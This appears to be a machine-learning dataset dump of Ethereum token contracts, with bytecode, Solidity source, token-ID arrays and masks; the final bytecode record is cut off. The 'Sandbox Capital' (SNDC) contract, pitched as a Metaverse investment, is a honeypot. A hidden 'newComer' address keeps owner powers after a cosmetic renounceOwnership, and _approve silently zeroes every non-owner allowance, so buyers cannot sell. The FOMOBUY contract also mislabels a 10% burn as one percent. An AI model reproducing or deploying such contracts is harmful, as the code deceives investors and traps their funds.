0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610142578063092a5cce146101cc578063095ea7b3146101e357806318160ddd1461021b57806323b872dd14610242578063313ce5671461026c57806342966c68146102975780634a627e61146102af57806370a08231146102c457806379cc6790146102e55780638863dd1a146103095780638da5cb5b1461032a57806395d89b411461035b578063a293d1e814610370578063a9059cbb1461038b578063ab27be20146103af578063b414d4b6146103d3578063b5931f7c146103f4578063cdeda0551461040f578063d05c78da14610429578063d894e93714610444578063dd62ed3e1461049d578063e6cb9013146104c4578063e724529c146104df575b600080fd5b34801561014e57600080fd5b50610157610505565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610191578181015183820152602001610179565b50505050905090810190601f1680156101be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d857600080fd5b506101e1610593565b005b3480156101ef57600080fd5b50610207600160a060020a03600435166024356105b8565b604080519115158252519081900360200190f35b34801561022757600080fd5b5061023061061e565b60408051918252519081900360200190f35b34801561024e57600080fd5b50610207600160a060020a0360043581169060243516604435610624565b34801561027857600080fd5b506102816106bf565b6040805160ff9092168252519081900360200190f35b3480156102a357600080fd5b506102076004356106c8565b3480156102bb57600080fd5b50610157610764565b3480156102d057600080fd5b50610230600160a060020a03600435166107bf565b3480156102f157600080fd5b50610207600160a060020a03600435166024356107d1565b34801561031557600080fd5b506101e1600160a060020a03600435166108f5565b34801561033657600080fd5b5061033f61093b565b60408051600160a060020a039092168252519081900360200190f35b34801561036757600080fd5b5061015761094a565b34801561037c57600080fd5b506102306004356024356109a4565b34801561039757600080fd5b50610207600160a060020a03600435166024356109b6565b3480156103bb57600080fd5b506101e1600160a060020a03600435166024356109ca565b3480156103df57600080fd5b50610207600160a060020a0360043516610aaa565b34801561040057600080fd5b50610230600435602435610abf565b34801561041b57600080fd5b506101e16004351515610af3565b34801561043557600080fd5b50610230600435602435610afe565b34801561045057600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101e1943694929360249392840191908190840183828082843750949750610b229650505050505050565b3480156104a957600080fd5b50610230600160a060020a0360043581169060243516610b39565b3480156104d057600080fd5b50610230600435602435610b64565b3480156104eb57600080fd5b506101e1600160a060020a03600435166024351515610b7e565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561058b5780601f106105605761010080835404028352916020019161058b565b820191906000526020600020905b81548152906001019060200180831161056e57829003601f168201915b505050505081565b600654600160a060020a031633146105aa57600080fd5b600654600160a060020a0316ff5b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561065457600080fd5b61065f848484610bf9565b600160a060020a038516600090815260056020908152604080832033845290915290205490915061069090836109a4565b600160a060020a0390941660009081526005602090815260408083203384529091529020939093555090919050565b60025460ff1681565b336000908152600460205260408120548211156106e457600080fd5b6106f0600354836109a4565b6003553360009081526004602052604090205461070d90836109a4565b3360008181526004602090815260409182902093909355805191825291810184905281517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5929181900390910190a1506001919050565b6007805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561058b5780601f106105605761010080835404028352916020019161058b565b60046020526000908152604090205481565b600160a060020a0382166000908152600460205260408120548211156107f657600080fd5b600160a060020a038316600090815260056020908152604080832033845290915290205482111561082657600080fd5b610832600354836109a4565b6003553360009081526004602052604090205461084f90836109a4565b33600081815260046020908152604080832094909455600160a060020a03871682526005815283822092825291909152205461088b90836109a4565b600160a060020a03841660009081526005602090815260408083203380855290835292819020939093558251918252810184905281517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5929181900390910190a150600192915050565b600654600160a060020a0316331461090c57600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600654600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561058b5780601f106105605761010080835404028352916020019161058b565b6000828211156109b057fe5b50900390565b60006109c3338484610bf9565b9392505050565b600654600160a060020a031633146109e157600080fd5b6109ed60035482610b64565b600355600160a060020a038216600090815260046020526040902054610a139082610b64565b600160a060020a03831660009081526004602090815260409182902092909255805183815290517f1f90ffc80397d749f18478fbab9a66e1f7d21ab034917d4e5b5cdfff22680729929181900390910190a1604080518281529051600160a060020a038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60086020526000908152604090205460ff1681565b600080808311610acb57fe5b8284811515610ad657fe5b0490508284811515610ae457fe5b0681840201841415156109c357fe5b8015610afb57fe5b50565b6000828202831580610b1a5750828482811515610b1757fe5b04145b15156109c357fe5b8051610b35906007906020840190610d35565b5050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b6000828201838110801590610b1a5750828110156109c357fe5b600654600160a060020a03163314610b9557600080fd5b600160a060020a038216600081815260086020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b6000600160a060020a0383161515610c1057600080fd5b600160a060020a03841660009081526008602052604090205460ff1615610c3657600080fd5b600160a060020a038416600090815260046020526040902054821115610c5b57600080fd5b600160a060020a0383166000908152600460205260409020548281011015610c8257600080fd5b600160a060020a038416600090815260046020526040902054610ca590836109a4565b600160a060020a038086166000908152600460205260408082209390935590851681522054610cd49083610b64565b600160a060020a0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610d7657805160ff1916838001178555610da3565b82800160010185558215610da3579182015b82811115610da3578251825591602001919060010190610d88565b50610daf929150610db3565b5090565b610dcd91905b80821115610daf5760008155600101610db9565b905600a165627a7a723058203da3cae20e11a471fc34f61793eb2e4defc72dce6858b5736231e2019f05f3140029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2549, 2094, 2683, 7875, 15136, 2683, 17914, 2546, 23352, 2581, 2497, 2094, 22203, 2683, 2581, 14142, 23777, 2278, 2581, 2546, 2487, 2050, 2692, 2278, 2629, 3207, 2683, 2094, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2322, 1025, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 12274, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 3647, 4305, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 2270, 5760, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,675
0x9584f473afedce22116100cfdfc399af9648f581
pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address holder) public view returns (uint256); function allowance(address holder, address spender) public view returns (uint256); function transfer(address to, uint256 amount) public returns (bool success); function approve(address spender, uint256 amount) public returns (bool success); function transferFrom(address from, address to, uint256 amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed holder, address indexed spender, uint256 amount); } contract FOMOBUY is ERC20 { using SafeMath for uint256; string public symbol = "FB"; string public name = "FOMOBUY"; uint8 public decimals = 18; uint256 private _totalSupply = 100000000000000000000000000; uint256 oneHundredPercent = 100; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address holder) public view returns (uint256) { return balances[holder]; } function allowance(address holder, address spender) public view returns (uint256) { return allowed[holder][spender]; } function findOnePercent(uint256 amount) private view returns (uint256) { uint256 roundAmount = amount.ceil(oneHundredPercent); uint256 fivePercent = roundAmount.mul(oneHundredPercent).div(1000); return fivePercent; } function transfer(address to, uint256 amount) public returns (bool success) { require(amount <= balances[msg.sender]); require(to != address(0)); uint256 tokensToBurn = findOnePercent(amount); uint256 tokensToTransfer = amount.sub(tokensToBurn); balances[msg.sender] = balances[msg.sender].sub(amount); balances[to] = balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function approve(address spender, uint256 amount) public returns (bool success) { allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool success) { require(amount <= balances[from]); require(amount <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(amount); uint256 tokensToBurn = findOnePercent(amount); uint256 tokensToTransfer = amount.sub(tokensToBurn); balances[to] = balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461009e578063095ea7b31461012e57806318160ddd146101a157806323b872dd146101cc578063313ce5671461025f57806370a082311461029057806395d89b41146102f5578063a9059cbb14610385578063dd62ed3e146103f8575b600080fd5b3480156100aa57600080fd5b506100b361047d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f35780820151818401526020810190506100d8565b50505050905090810190601f1680156101205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013a57600080fd5b506101876004803603604081101561015157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061051b565b604051808215151515815260200191505060405180910390f35b3480156101ad57600080fd5b506101b661060d565b6040518082815260200191505060405180910390f35b3480156101d857600080fd5b50610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610617565b604051808215151515815260200191505060405180910390f35b34801561026b57600080fd5b50610274610a7e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029c57600080fd5b506102df600480360360208110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a91565b6040518082815260200191505060405180910390f35b34801561030157600080fd5b5061030a610ada565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034a57808201518184015260208101905061032f565b50505050905090810190601f1680156103775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039157600080fd5b506103de600480360360408110156103a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b78565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b506104676004803603604081101561041b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e44565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105135780601f106104e857610100808354040283529160200191610513565b820191906000526020600020905b8154815290600101906020018083116104f657829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561066757600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561072e57600080fd5b61078082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006107ce83610eed565b905060006107e58285610ecb90919063ffffffff16565b905061083981600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3e90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089182600354610ecb90919063ffffffff16565b60038190555061092684600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050509392505050565b600260009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bc857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c0457600080fd5b6000610c0f83610eed565b90506000610c268285610ecb90919063ffffffff16565b9050610c7a84600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0f81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3e90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6782600354610ecb90919063ffffffff16565b6003819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019250505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211151515610edc57600080fd5b600082840390508091505092915050565b600080610f0560045484610f5f90919063ffffffff16565b90506000610f326103e8610f2460045485610f9a90919063ffffffff16565b610fd590919063ffffffff16565b90508092505050919050565b6000808284019050838110151515610f5557600080fd5b8091505092915050565b600080610f6c8484610f3e565b90506000610f7b826001610ecb565b9050610f90610f8a8286610fd5565b85610f9a565b9250505092915050565b600080831415610fad5760009050610fcf565b60008284029050828482811515610fc057fe5b04141515610fca57fe5b809150505b92915050565b6000808284811515610fe357fe5b049050809150509291505056fea165627a7a7230582080df9bd7123dd2bd975734ac7fbecb8b3e19820a99afe46e746ac4e5cf3f76a40029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2549, 2546, 22610, 2509, 10354, 2098, 3401, 19317, 14526, 2575, 18613, 2278, 2546, 20952, 2278, 23499, 2683, 10354, 2683, 21084, 2620, 2546, 27814, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,676
0x9585c850c7e2008cae4b4921920bcd0c3a533063
// Welcome to Sandbox Capital! We invest proceeds into the Metaverse and do periodic buybacks to reward token holders. // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SNDC is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 5 * 10**9* 10**18; string private _name = ' Sandbox Capital '; string private _symbol = 'SNDC'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673fffffffffff